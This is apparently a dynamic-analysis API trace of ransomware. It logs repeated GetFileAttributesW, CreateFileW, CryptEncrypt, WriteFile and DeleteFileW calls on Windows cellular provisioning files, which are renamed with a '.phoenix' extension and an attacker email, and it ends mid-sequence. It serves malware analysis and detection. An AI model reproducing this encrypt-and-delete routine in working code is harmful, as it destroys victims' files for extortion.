	[0249.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\400__connections_cellular_vodacom sa (south africa)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\400__connections_cellular_vodacom sa (south africa)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.743] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\400__connections_cellular_vodacom sa (south africa)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.743] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.743] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.744] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\400__connections_cellular_vodacom sa (south africa)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.744] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0249.744] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.744] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d6, lpOverlapped=0x0) returned 1
	[0249.774] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0249.774] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0249.775] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0249.775] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.775] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0249.775] CryptDestroyKey (hKey=0x151500) returned 1
	[0249.775] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0249.775] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0249.775] CloseHandle (hObject=0x2b4) returned 1
	[0249.776] CloseHandle (hObject=0x2c8) returned 1
	[0249.776] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\400__connections_cellular_vodacom sa (south africa)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.777] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.777] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\403__connections_cellular_movistar (spain)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.777] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=858) returned 1
	[0249.777] CloseHandle (hObject=0x2c8) returned 1
	[0249.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\403__connections_cellular_movistar (spain)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0249.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\403__connections_cellular_movistar (spain)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.777] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\403__connections_cellular_movistar (spain)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.777] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.778] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.778] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\403__connections_cellular_movistar (spain)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.778] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0249.778] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.778] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x35a, lpOverlapped=0x0) returned 1
	[0249.786] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0249.786] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0249.787] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0249.787] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.787] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.787] CryptDestroyKey (hKey=0x151100) returned 1
	[0249.787] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.787] CryptDestroyKey (hKey=0x151640) returned 1
	[0249.787] CloseHandle (hObject=0x2c8) returned 1
	[0249.788] CloseHandle (hObject=0x2b4) returned 1
	[0249.788] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\403__connections_cellular_movistar (spain)_i1$(__mvid)@wap.provxml")) returned 1
	[0249.791] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.791] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\405__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.796] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=476) returned 1
	[0249.797] CloseHandle (hObject=0x2d8) returned 1
	[0249.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\405__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0249.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\405__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.798] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\405__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.798] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.798] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.798] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\405__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.801] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151040) returned 1
	[0249.801] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.801] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1dc, lpOverlapped=0x0) returned 1
	[0249.802] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0) returned 1
	[0249.802] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1e0, lpOverlapped=0x0) returned 1
	[0249.803] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0249.803] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.803] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0249.803] CryptDestroyKey (hKey=0x151640) returned 1
	[0249.803] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0249.803] CryptDestroyKey (hKey=0x151040) returned 1
	[0249.803] CloseHandle (hObject=0x2d8) returned 1
	[0249.803] CloseHandle (hObject=0x2f0) returned 1
	[0249.803] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\405__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0249.804] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.804] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\406__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.805] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=840) returned 1
	[0249.805] CloseHandle (hObject=0x2f0) returned 1
	[0249.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\406__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\406__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.805] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\406__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.805] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.805] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.805] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\406__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.806] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0249.806] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.806] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x348, lpOverlapped=0x0) returned 1
	[0249.819] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0249.819] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0249.820] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0249.820] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.820] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.820] CryptDestroyKey (hKey=0x151440) returned 1
	[0249.820] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.820] CryptDestroyKey (hKey=0x151680) returned 1
	[0249.820] CloseHandle (hObject=0x2f0) returned 1
	[0249.820] CloseHandle (hObject=0x2d8) returned 1
	[0249.821] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\406__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.821] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\408__connections_cellular_vodafone es (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.822] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=854) returned 1
	[0249.822] CloseHandle (hObject=0x2d8) returned 1
	[0249.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\408__connections_cellular_vodafone es (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\408__connections_cellular_vodafone es (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.822] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\408__connections_cellular_vodafone es (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.822] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.822] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.823] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\408__connections_cellular_vodafone es (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
